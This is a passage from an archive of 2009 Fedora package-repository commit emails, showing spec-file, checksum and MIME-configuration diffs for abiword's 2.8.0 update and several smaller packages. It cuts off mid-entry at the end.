 Patch95: gnome-control-center-2.25.2-passwd.patch
 Patch96: gnome-control-center-2.25.2-gecos.patch
@@ -211,6 +213,7 @@ for the GNOME desktop.
 %patch53 -p1 -b .keybinding-bugs
 %patch54 -p1 -b .about-me-delete
 %patch55 -p1 -b .finger-icons
+%patch56 -p1 -b .best-shapes
 
 # vendor configuration patches
 %patch95 -p1 -b .passwd
@@ -401,6 +404,9 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-3
+- Change 'Best shapes' to mean grayscale+slight
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> 2.28.1-2
 - Fix missing fingerprint icons
 



From uwog at fedoraproject.org  Mon Oct 26 22:43:41 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 22:43:41 +0000 (UTC)
Subject: rpms/abiword/F-11 abiword-2.7.6-desktop.patch, NONE,
	1.1 abiword.keys, 
	NONE, 1.1 abiword.xml, NONE, 1.1 .cvsignore, 1.24,
	1.25 abiword.mime, 1.1, 1.2 abiword.spec, 1.75, 1.76 sources,
	1.24, 1.25 abiword-2.6.4-desktop.patch, 1.1,
	NONE abiword-extras-2.6.4-nohash.patch, 1.1,
	NONE abiword-plugins-2.6.8-rindex.patch, 1.1, NONE
Message-ID: <20091026224341.796A211C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6563

Modified Files:
	.cvsignore abiword.mime abiword.spec sources 
Added Files:
	abiword-2.7.6-desktop.patch abiword.keys abiword.xml 
Removed Files:
	abiword-2.6.4-desktop.patch abiword-extras-2.6.4-nohash.patch 
	abiword-plugins-2.6.8-rindex.patch 
Log Message:
New upstream release 2.8.0



abiword-2.7.6-desktop.patch:
 abiword.desktop |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE abiword-2.7.6-desktop.patch ---
diff -u -r abiword-2.7.6.orig/abiword.desktop abiword-2.7.6/abiword.desktop
--- abiword-2.7.6.orig/abiword.desktop	2009-06-21 15:28:21.000000000 +0200
+++ abiword-2.7.6/abiword.desktop	2009-07-05 14:11:02.000000000 +0200
@@ -6,7 +6,7 @@
 Categories=Office;WordProcessor;GNOME;GTK;X-Red-Hat-Base;
 StartupNotify=true
 X-Desktop-File-Install-Version=0.9
-MimeType=application/x-abiword;text/x-abiword;text/x-xml-abiword;text/plain;application/msword;application/rtf;application/vnd.plain;application/xhtml+xml;text/html;application/x-crossmark;application/docbook+xml;application/x-t602;application/vnd.oasis.opendocument.text;application/vnd.sun.xml.writer;application/vnd.stardivision.writer;text/vnd.wap.wml;application/wordperfect6;application/wordperfect5.1;application/vnd.wordperfect;application/x-abicollab;
+MimeType=application/x-abiword;text/x-abiword;text/x-xml-abiword;text/plain;application/msword;application/rtf;application/vnd.plain;application/xhtml+xml;text/html;application/x-crossmark;application/docbook+xml;application/x-t602;application/vnd.oasis.opendocument.text;application/vnd.sun.xml.writer;application/vnd.stardivision.writer;text/vnd.wap.wml;application/wordperfect6;application/wordperfect5.1;application/vnd.wordperfect;application/x-abicollab;application/x-applix-word;application/x-mswrite;application/x-kword;application/x-mif;
 Name=AbiWord
 GenericName=Word Processor
 Comment=Compose, edit, and view documents


--- NEW FILE abiword.keys ---
application/x-abiword
	open=abiword %f
	view=abiword %f

application/x-abicollab
	open=abiword %f
	view=abiword %f


--- NEW FILE abiword.xml ---
<?xml version="1.0" encoding="UTF-8"?>
<mime-info xmlns="http://www.freedesktop.org/standards/shared-mime-info">
  <mime-type type="application/x-abicollab">
    <comment>AbiWord Collaborative Document</comment>
    <glob pattern="*.abicollab"/>
  </mime-type>
</mime-info>



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	9 Mar 2009 15:02:35 -0000	1.24
+++ .cvsignore	26 Oct 2009 22:43:40 -0000	1.25
@@ -1,4 +1,2 @@
-abiword-2.6.8.tar.gz
-abiword-docs-2.6.8.tar.gz
-abiword-extras-2.6.8.tar.gz
-abiword-plugins-2.6.8.tar.gz
+abiword-2.8.0.tar.gz
+abiword-docs-2.8.0.tar.gz


Index: abiword.mime
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/abiword.mime,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- abiword.mime	14 Mar 2005 22:39:45 -0000	1.1
+++ abiword.mime	26 Oct 2009 22:43:41 -0000	1.2
@@ -1,3 +1,5 @@
 application/x-abiword
 	ext: abw
 
+application/x-abicollab
+	ext: abicollab


Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/abiword.spec,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- abiword.spec	9 Mar 2009 17:06:50 -0000	1.75
+++ abiword.spec	26 Oct 2009 22:43:41 -0000	1.76
@@ -1,23 +1,24 @@
 %define majorversion 2
-%define minorversion 6
-%define microversion 8
+%define minorversion 8
+%define microversion 0
 
 %define olpc_build 0
 
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 2%{?dist}
+Release: 1%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
 Source0: http://abisource.com/downloads/abiword/%{version}/source/abiword-%{version}.tar.gz
-Source1: http://abisource.com/downloads/abiword/%{version}/source/abiword-plugins-%{version}.tar.gz
-Source2: http://abisource.com/downloads/abiword/%{version}/source/abiword-extras-%{version}.tar.gz
-Source3: http://abisource.com/downloads/abiword/%{version}/source/abiword-docs-%{version}.tar.gz
+Source1: http://abisource.com/downloads/abiword/%{version}/source/abiword-docs-%{version}.tar.gz
 Source11: abiword.mime
+Source12: abiword.keys
+Source13: abiword.xml
 BuildRoot: %{_tmppath}/%{name}-%{version}-root
 URL: http://www.abisource.com/
+Requires: libabiword = %{epoch}:%{version}-%{release}
 
 %description
 AbiWord is a cross-platform Open Source word processor. It is full-featured,
@@ -27,10 +28,9 @@ while still remaining lean.
 Summary: Library for developing applications based on AbiWord's core
 Group: System Environment/Libraries
 Patch0: abiword-2.6.0-windowshelppaths.patch
-Patch1: abiword-2.6.4-desktop.patch
+Patch1: abiword-2.7.6-desktop.patch
 Patch2: abiword-2.6.0-boolean.patch
 Patch3: abiword-plugins-2.6.0-boolean.patch
-Patch4: abiword-plugins-2.6.8-rindex.patch
 %if %{olpc_build}
 Patch100: abiword-2.6.4-defaultfont.patch
 Patch101: abiword-2.6.4-draghandles.patch
@@ -41,30 +41,26 @@ BuildRequires: autoconf, libtool
 BuildRequires: desktop-file-utils
 BuildRequires: fribidi-devel, enchant-devel, wv-devel
 BuildRequires: zlib-devel, popt-devel, libpng-devel
-BuildRequires: gtk2-devel, libgsf-devel, libglade2-devel
+BuildRequires: gtk2-devel, libgsf-devel
 BuildRequires: boost-devel, t1lib-devel
-%if %{olpc_build}
 BuildRequires: dbus-glib-devel >= 0.70
-%else
+%if !%{olpc_build}
 Requires: mathml-fonts
 Requires: link-grammar >= 4.2.2
-BuildRequires: libgnomeui-devel
-BuildRequires: libgnomeprintui22-devel
 BuildRequires: readline-devel
 BuildRequires: bzip2-devel
 BuildRequires: poppler-devel >= 0.4.0
 BuildRequires: ots-devel >= 0.4.2
 BuildRequires: libwpd-devel >= 0.8.0
+BuildRequires: libwpg-devel
 BuildRequires: librsvg2-devel
 BuildRequires: libwmf-devel
 BuildRequires: aiksaurus-devel, aiksaurus-gtk-devel
 BuildRequires: link-grammar-devel >= 4.2.2
 BuildRequires: gtkmathview-devel >= 0.7.5, flex, bison
-BuildRequires: goffice04-devel
 BuildRequires: loudmouth-devel
-%if 0%{?fedora} >= 9
-BuildRequires: asio-devel >= 0.3.8
-%endif
+BuildRequires: asio-devel
+BuildRequires: libsoup-devel
 %endif
 
 %description -n libabiword
@@ -81,6 +77,8 @@ Includes and definitions for developing 
 %prep
 # setup abiword
 %setup -q
+
+# patch abiword
 %patch1 -p1 -b .desktop
 %if 0%{?fedora} >= 9
 %patch2 -p1 -b .boolean
@@ -91,73 +89,33 @@ Includes and definitions for developing 
 %patch102 -p1 -b .nohtmloptions
 %endif
 
-# setup abiword-plugins
-%setup -q -T -b 1 -n abiword-plugins-%{version}
-%patch3 -p1 -b .boolean
-%patch4 -p1 -b .rindex
-
-# setup abiword extras
-%setup -q -T -b 2 -n abiword-extras-%{version}
+# patch abiword plugins
+#%patch3 -p1 -b .boolean
 
 # setup abiword documentation
-%setup -q -T -b 3 -n abiword-docs-%{version}
+%setup -q -T -b 1 -n abiword-docs-%{version}
 %patch0 -p1 -b .windowshelppaths
 
 %build
 # build libabiword and abiword
 cd $RPM_BUILD_DIR/abiword-%{version}
 %if %{olpc_build}
-%configure --enable-libabiword --disable-bonobo --disable-gnomevfs --disable-gnomeui --disable-gucharmap --disable-printing
+%configure --disable-static --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
 %else
-%configure --enable-libabiword
-%endif
-make %{?_smp_mflags}
-
-# build abiword-plugins
-cd $RPM_BUILD_DIR/abiword-plugins-%{version}
-export PKG_CONFIG_PATH="$RPM_BUILD_DIR/%{name}-%{version}"
-%if %{olpc_build}
-CXXFLAGS="-L$RPM_BUILD_DIR/%{name}-%{version}/src/wp/main/unix/" %configure --enable-libabiword --disable-all --enable-abicollab --with-abicollab-sugar-backend --enable-loadbindings --enable-OpenDocument --with-abiword=$RPM_BUILD_DIR/%{name}-%{version}
-%else 
-CXXFLAGS="-L$RPM_BUILD_DIR/%{name}-%{version}/src/wp/main/unix/" %configure --disable-gda --enable-libabiword --with-abiword=$RPM_BUILD_DIR/%{name}-%{version}
+%configure --disable-static --enable-plugins --enable-clipart --enable-templates
 %endif
-# Remove libtool predep_objects and postdep_objects wonkiness so that
-# building without -nostdlib doesn't include them twice.  Because we
-# already link with g++, weird stuff happens if you don't let the
-# compiler handle this.
-sed 's/^predep_objects=.*/predep_objects=\"\"/' < libtool > libtool.foo
-sed 's/^postdep_objects=.*/postdep_objects=\"\"/' < libtool.foo > libtool.foobar
-sed 's/-shared -nostdlib/-shared/' < libtool.foobar > libtool
-make %{?_smp_mflags}
-
-# build the extras
-cd $RPM_BUILD_DIR/abiword-extras-%{version}
-# abiword-extras looks at the abiword-%{version}.pc pkg-config file to get its location info 
-# however, that file is not installed yet, so just point to it in the abiword source tree 
-export PKG_CONFIG_PATH="$RPM_BUILD_DIR/%{name}-%{version}"
-%configure
-make
+%{__make} %{?_smp_mflags}
 
 # build the documentation
 cd $RPM_BUILD_DIR/abiword-docs-%{version}
-ABI_DOC_PROG=$(pwd)/../%{name}-%{version}/src/wp/main/unix/abiword ./make-html.sh
+ABI_DOC_PROG=$(pwd)/../%{name}-%{version}/src/abiword ./make-html.sh
 
 %install
-rm -rf $RPM_BUILD_ROOT
+%{__rm} -rf $RPM_BUILD_ROOT
 
 # install abiword
 cd $RPM_BUILD_DIR/abiword-%{version}
-make install DESTDIR=$RPM_BUILD_ROOT
-# overwrite the static binary with the dynamic one
-mv -f $RPM_BUILD_DIR/abiword-%{version}/src/wp/main/unix/abiword-dynamic $RPM_BUILD_ROOT%{_bindir}/abiword
-
-# install abiword-plugins
-cd $RPM_BUILD_DIR/abiword-plugins-%{version}
-make install DESTDIR=$RPM_BUILD_ROOT
-
-# install the extras
-cd $RPM_BUILD_DIR/abiword-extras-%{version}
-make install DESTDIR=$RPM_BUILD_ROOT
+%{__make} install DESTDIR=$RPM_BUILD_ROOT
 
 # install the documentation
 cd $RPM_BUILD_DIR/abiword-docs-%{version}
@@ -168,7 +126,7 @@ find $RPM_BUILD_ROOT/%{_datadir}/%{name}
 
 # finish up
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/pixmaps/
-cp $RPM_BUILD_DIR/abiword-extras-%{version}/icons/abiword_48.png $RPM_BUILD_ROOT%{_datadir}/pixmaps/abiword_48.png
+cp $RPM_BUILD_DIR/abiword-%{version}/abiword_48.png $RPM_BUILD_ROOT%{_datadir}/pixmaps/abiword_48.png
 
 cd $RPM_BUILD_DIR/abiword-%{version}
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/applications
@@ -178,35 +136,39 @@ desktop-file-install --vendor fedora --a
   --add-category Applications --add-category Office \
   ./abiword.desktop
 # remove the original one (which has X-Red-Hat-Base)  (#107023)
-rm -f $RPM_BUILD_ROOT/%{_datadir}/applications/abiword.desktop
+%{__rm} -f $RPM_BUILD_ROOT/%{_datadir}/applications/abiword.desktop
 
-mkdir -p $RPM_BUILD_ROOT%{_datadir}/mime-info
-install -m 644 %{SOURCE11} $RPM_BUILD_ROOT%{_datadir}/mime-info
+%{__install} -p -m 0644 -D %{SOURCE11} $RPM_BUILD_ROOT%{_datadir}/mime-info/abiword.mime
+%{__install} -p -m 0644 -D %{SOURCE12} $RPM_BUILD_ROOT%{_datadir}/mime-info/abiword.keys
+%{__install} -p -m 0644 -D %{SOURCE13} $RPM_BUILD_ROOT%{_datadir}/mime/packages/abiword.xml
 
 # nuke .la files
-rm -f $RPM_BUILD_ROOT/%{_libdir}/%{name}-%{majorversion}.%{minorversion}/plugins/*.la
-# nuke custom dictionary files
-rm -f $RPM_BUILD_ROOT/%{_datadir}/%{name}-%{majorversion}.%{minorversion}/dictionary/ispell_dictionary_list.xml
+%{__rm} -f $RPM_BUILD_ROOT/%{_libdir}/libabiword-%{majorversion}.%{minorversion}.la
+%{__rm} -f $RPM_BUILD_ROOT/%{_libdir}/%{name}-%{majorversion}.%{minorversion}/plugins/*.la
 
 %clean
-rm -rf $RPM_BUILD_ROOT
+%{__rm} -rf $RPM_BUILD_ROOT
 
 %post
-update-desktop-database %{_datadir}/applications
+update-mime-database %{_datadir}/mime > /dev/null 2>&1 || :
+update-desktop-database %{_datadir}/applications > /dev/null 2>&1 || :
 
 %postun
-update-desktop-database %{_datadir}/applications
+update-mime-database %{_datadir}/mime > /dev/null 2>&1 || :
+update-desktop-database %{_datadir}/applications > /dev/null 2>&1 || :
 
 %files
 %defattr(-,root,root)
 %{_bindir}/abiword
 %{_datadir}/applications/*
-%{_datadir}/mime-info/*
-%{_datadir}/pixmaps/*png
-%{_datadir}/icons/*png
+%{_datadir}/mime-info/abiword.mime
+%{_datadir}/mime-info/abiword.keys
+%{_datadir}/mime/packages/abiword.xml
+%{_datadir}/pixmaps/*.png
+%{_datadir}/icons/*.png
 
 %files -n libabiword
-%doc $RPM_BUILD_DIR/%{name}-%{version}/docs $RPM_BUILD_DIR/%{name}-%{version}/COPYING $RPM_BUILD_DIR/%{name}-%{version}/COPYRIGHT.TXT $RPM_BUILD_DIR/%{name}-%{version}/README.TXT
+%doc $RPM_BUILD_DIR/%{name}-%{version}/COPYING $RPM_BUILD_DIR/%{name}-%{version}/COPYRIGHT.TXT
 %{_libdir}/libabiword-%{majorversion}.%{minorversion}.so
 %{_libdir}/%{name}-%{majorversion}.%{minorversion}
 %{_datadir}/%{name}-%{majorversion}.%{minorversion}
@@ -216,6 +178,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-1
+- New upstream release
+
 * Mon Mar 09 2009 Marc Maurer <uwog at abisource.com> - 1:2.6.8-2
 - Make g++ 4.4 and rindex friends again
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	9 Mar 2009 15:02:35 -0000	1.24
+++ sources	26 Oct 2009 22:43:41 -0000	1.25
@@ -1,4 +1,2 @@
-fab04d8ef999c303f720197adf261310  abiword-2.6.8.tar.gz
-5698c79cfa179f4b15c82a699d11a309  abiword-docs-2.6.8.tar.gz
-e3cfff6ad4cda3e4200a75fd2665857a  abiword-extras-2.6.8.tar.gz
-421c49723e209c971ddb0798c1b313a9  abiword-plugins-2.6.8.tar.gz
+f61c623cdb3c3b2aed05bbc868050ddd  abiword-2.8.0.tar.gz
+226c97dec63c2423dca9a431beb58e3a  abiword-docs-2.8.0.tar.gz


--- abiword-2.6.4-desktop.patch DELETED ---


--- abiword-extras-2.6.4-nohash.patch DELETED ---


--- abiword-plugins-2.6.8-rindex.patch DELETED ---



From uwog at fedoraproject.org  Mon Oct 26 22:48:51 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 22:48:51 +0000 (UTC)
Subject: rpms/abiword/F-12 .cvsignore, 1.31, 1.32 abiword.spec, 1.96,
	1.97 sources, 1.31, 1.32
Message-ID: <20091026224851.61D8311C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7539

Modified Files:
	.cvsignore abiword.spec sources 
Log Message:
New upstream release: 2.8.0




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/.cvsignore,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- .cvsignore	29 Aug 2009 10:27:35 -0000	1.31
+++ .cvsignore	26 Oct 2009 22:48:50 -0000	1.32
@@ -1,2 +1,2 @@
-abiword-2.7.10.tar.gz
-abiword-docs-2.7.10.tar.gz
+abiword-2.8.0.tar.gz
+abiword-docs-2.8.0.tar.gz


Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/abiword.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- abiword.spec	1 Sep 2009 12:21:09 -0000	1.96
+++ abiword.spec	26 Oct 2009 22:48:50 -0000	1.97
@@ -1,13 +1,13 @@
 %define majorversion 2
-%define minorversion 7
-%define microversion 10
+%define minorversion 8
+%define microversion 0
 
 %define olpc_build 0
 
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 2%{?dist}
+Release: 1%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -57,7 +57,6 @@ BuildRequires: libwmf-devel
 BuildRequires: aiksaurus-devel, aiksaurus-gtk-devel
 BuildRequires: link-grammar-devel >= 4.2.2
 BuildRequires: gtkmathview-devel >= 0.7.5, flex, bison
-#BuildRequires: goffice04-devel
 BuildRequires: loudmouth-devel
 BuildRequires: asio-devel
 BuildRequires: libsoup-devel
@@ -100,9 +99,9 @@ Includes and definitions for developing 
 # build libabiword and abiword
 cd $RPM_BUILD_DIR/abiword-%{version}
 %if %{olpc_build}
-%configure --disable-static --enable-dynamic --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
+%configure --disable-static --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
 %else
-%configure --disable-static --enable-dynamic --enable-plugins --enable-clipart --enable-templates
+%configure --disable-static --enable-plugins --enable-clipart --enable-templates
 %endif
 %{__make} %{?_smp_mflags}
 
@@ -178,6 +177,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-1
+- New upstream release
+
 * Tue Sep 01 2009 Marc Maurer <uwog at abisource.com> - 1:2.7.10-2
 - Unconditionally add the dbus-glib-devel BR since the AbiCollab
   Sugar backend is now always compiled in, even on non-OLPC


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/sources,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- sources	29 Aug 2009 10:27:35 -0000	1.31
+++ sources	26 Oct 2009 22:48:50 -0000	1.32
@@ -1,2 +1,2 @@
-d6d38074caaee3e92ac5e7fa0e357b51  abiword-2.7.10.tar.gz
-4474020698070433e2f97fddbbdf7dd1  abiword-docs-2.7.10.tar.gz
+f61c623cdb3c3b2aed05bbc868050ddd  abiword-2.8.0.tar.gz
+226c97dec63c2423dca9a431beb58e3a  abiword-docs-2.8.0.tar.gz



From lmacken at fedoraproject.org  Mon Oct 26 22:50:58 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Mon, 26 Oct 2009 22:50:58 +0000 (UTC)
Subject: rpms/python-repoze-what/devel python-repoze-what.spec,1.4,1.5
Message-ID: <20091026225059.0A02F11C02BB@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-repoze-what/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10615

Modified Files:
	python-repoze-what.spec 
Log Message:
 Require python-repoze-who-testutil


Index: python-repoze-what.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-repoze-what/devel/python-repoze-what.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-repoze-what.spec	10 Aug 2009 18:58:52 -0000	1.4
+++ python-repoze-what.spec	26 Oct 2009 22:50:58 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           python-repoze-what
 Version:        1.0.8
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Authorization for WSGI applications
 
 Group:          Development/Languages
@@ -25,6 +25,7 @@ BuildRequires:  python-repoze-who-testut
 BuildRequires:  python-coverage
 
 Requires:       python-repoze-who
+Requires:       python-repoze-who-testutil
 Requires:       python-paste
 
 %description
@@ -86,6 +87,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-5
+- Require python-repoze-who-testutil
+
 * Mon Aug 10 2009 Luke Macken <lmacken at redhat.com> - 1.0.8-4
 - Get the test suite working
 



From pbrobinson at fedoraproject.org  Mon Oct 26 22:55:16 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 22:55:16 +0000 (UTC)
Subject: rpms/moblin-panel-people/devel .cvsignore, 1.7,
	1.8 moblin-panel-people.spec, 1.9, 1.10 sources, 1.7, 1.8
Message-ID: <20091026225516.4DE9A11C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13018

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.8 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	16 Oct 2009 23:09:52 -0000	1.7
+++ .cvsignore	26 Oct 2009 22:55:15 -0000	1.8
@@ -1 +1 @@
-moblin-panel-people-0.0.7.tar.bz2
+moblin-panel-people-0.0.8.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/moblin-panel-people.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- moblin-panel-people.spec	16 Oct 2009 23:09:52 -0000	1.9
+++ moblin-panel-people.spec	26 Oct 2009 22:55:16 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.7
+Version:        0.0.8
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Mon Oct 26 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.8-1
+- New upstream 0.0.8 release
+
 * Fri Oct 16 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.7-1
 - New upstream 0.0.7 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	16 Oct 2009 23:09:53 -0000	1.7
+++ sources	26 Oct 2009 22:55:16 -0000	1.8
@@ -1 +1 @@
-bb0ce4d213e4d89175c7378cce7efdc4  moblin-panel-people-0.0.7.tar.bz2
+86a98d843af9ff1082e58f2ed37402a4  moblin-panel-people-0.0.8.tar.bz2



From uwog at fedoraproject.org  Mon Oct 26 22:56:26 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 22:56:26 +0000 (UTC)
Subject: rpms/abiword/F-11 abiword.spec,1.76,1.77
Message-ID: <20091026225626.AE14F11C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13389

Modified Files:
	abiword.spec 
Log Message:
Build with --enable-dynamic to make pyabiword work




Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-11/abiword.spec,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- abiword.spec	26 Oct 2009 22:43:41 -0000	1.76
+++ abiword.spec	26 Oct 2009 22:56:26 -0000	1.77
@@ -7,7 +7,7 @@
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -100,9 +100,9 @@ Includes and definitions for developing 
 # build libabiword and abiword
 cd $RPM_BUILD_DIR/abiword-%{version}
 %if %{olpc_build}
-%configure --disable-static --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
+%configure --disable-static --enable-dynamic --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
 %else
-%configure --disable-static --enable-plugins --enable-clipart --enable-templates
+%configure --disable-static --enable-dynamic --enable-plugins --enable-clipart --enable-templates
 %endif
 %{__make} %{?_smp_mflags}
 
@@ -178,6 +178,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-2
+- Build with --enable-dynamic
+
 * Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-1
 - New upstream release
 



From uwog at fedoraproject.org  Mon Oct 26 22:57:56 2009
From: uwog at fedoraproject.org (Marc Maurer)
Date: Mon, 26 Oct 2009 22:57:56 +0000 (UTC)
Subject: rpms/abiword/F-12 abiword.spec,1.97,1.98
Message-ID: <20091026225756.5083511C0264@cvs1.fedora.phx.redhat.com>

Author: uwog

Update of /cvs/pkgs/rpms/abiword/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13834

Modified Files:
	abiword.spec 
Log Message:
Build with --enable-dynamic to make pyabiword work




Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/F-12/abiword.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- abiword.spec	26 Oct 2009 22:48:50 -0000	1.97
+++ abiword.spec	26 Oct 2009 22:57:56 -0000	1.98
@@ -7,7 +7,7 @@
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -99,9 +99,9 @@ Includes and definitions for developing 
 # build libabiword and abiword
 cd $RPM_BUILD_DIR/abiword-%{version}
 %if %{olpc_build}
-%configure --disable-static --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
+%configure --disable-static --enable-dynamic --disable-gnomevfs --disable-gucharmap --disable-printing --enable-plugins="loadbindings collab" --enable-collab-backend-sugar
 %else
-%configure --disable-static --enable-plugins --enable-clipart --enable-templates
+%configure --disable-static --enable-dynamic --enable-plugins --enable-clipart --enable-templates
 %endif
 %{__make} %{?_smp_mflags}
 
@@ -177,6 +177,9 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-2
+- Build with --enable-dynamic
+
 * Mon Oct 26 2009 Marc Maurer <uwog at abisource.com> - 1:2.8.0-1
 - New upstream release
 



From pbrobinson at fedoraproject.org  Mon Oct 26 22:58:22 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Mon, 26 Oct 2009 22:58:22 +0000 (UTC)
Subject: rpms/uxlaunch/devel .cvsignore, 1.3, 1.4 sources, 1.3,
	1.4 uxlaunch.spec, 1.2, 1.3
Message-ID: <20091026225822.0760411C0264@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/uxlaunch/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14030

Modified Files:
	.cvsignore sources uxlaunch.spec 
Log Message:
- New upstream 0.30 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/uxlaunch/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	14 Oct 2009 19:12:12 -0000	1.3
+++ .cvsignore	26 Oct 2009 22:58:21 -0000	1.4
@@ -1 +1 @@
-uxlaunch-0.29.tar.bz2
+uxlaunch-0.30.tar.bz2


Index: sources
